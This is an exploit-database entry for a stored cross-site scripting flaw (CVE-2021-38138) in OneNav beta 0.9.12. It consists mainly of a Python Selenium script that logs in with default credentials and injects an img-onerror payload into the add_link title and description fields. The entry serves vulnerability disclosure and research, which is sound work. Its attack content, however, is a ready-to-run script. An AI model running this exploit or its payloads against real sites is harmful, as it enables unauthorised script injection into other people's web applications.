OneNav Beta 0.9.12 Cross Site Scripting

2021.08.09
Credit: nu11secur1ty
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 3.5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: XSS-Stored - Brutal PWNED on OneNav beta 0.9.12 add_link feature # Author: nu11secur1ty # Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r # Date: 08.06.2021 # Vendor: https://www.xiaoz.me/ # Link: https://github.com/helloxz/onenav/releases/tag/0.9.12 # CVE: CVE-2021-38138 [+] Exploit Source: #!/usr/bin/python3 # Author: @nu11secur1ty # Debug and Developement: nu11secur1ty & g3ck0dr1v3r # CVE-2021-38138 from selenium import webdriver import time #enter the link to the website you want to automate login. website_link="http://192.168.1.120/index.php?c=login" #enter your login username username="xiaoz" #enter your login password password="xiaoz.me" #enter the element for username input field element_for_username="user" #enter the element for password input field element_for_password="password" #enter the element for submit button element_for_submit="layui-btn" browser = webdriver.Chrome() browser.get((website_link)) try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) signInButton = browser.find_element_by_class_name(element_for_submit) signInButton.click() # Exploit PWNED HTTP Traffic is not filtered. It was a lot of fun :D time.sleep(3) browser.get(("http://192.168.1.120/index.php?c=admin&page=add_link")) time.sleep(3) browser.execute_script("document.querySelector('[name=\"url\"]').value = ' http://192.168.1.120/index.php?c=admin&page=add_link'") time.sleep(3) browser.execute_script("document.querySelector('[name=\"title\"]').value = '</span><img src= https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif <a href=http://example.com/> onerror=alert(1) /><span>'") #button1 browser.execute_script("document.querySelector('[class=\"layui-edge\"]').click()") time.sleep(1) # button2 using $ because querySelector cannot parse dd selector browser.execute_script("$('dd[lay-value=19]').click()") time.sleep(1) browser.execute_script("document.querySelector('[name=\"description\"]').value = '</span><img src= https://cdn5-capriofiles.netdna-ssl.com/wp-content/uploads/2017/07/IMG_0068.gif <a href=http://example.com/> onerror=alert(1) /><span>'") #submit button3 browser.execute_script("document.querySelector('[class=\"layui-btn\"]').click()") time.sleep(1) browser.maximize_window() browser.get(("http://192.168.1.120/index.php?c=admin&page=link_list")) print("payload is deployed...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") ---------------------------------------------------------------------------------------- # Reproduce: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38138 # Proof: https://streamable.com/ubtzio


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top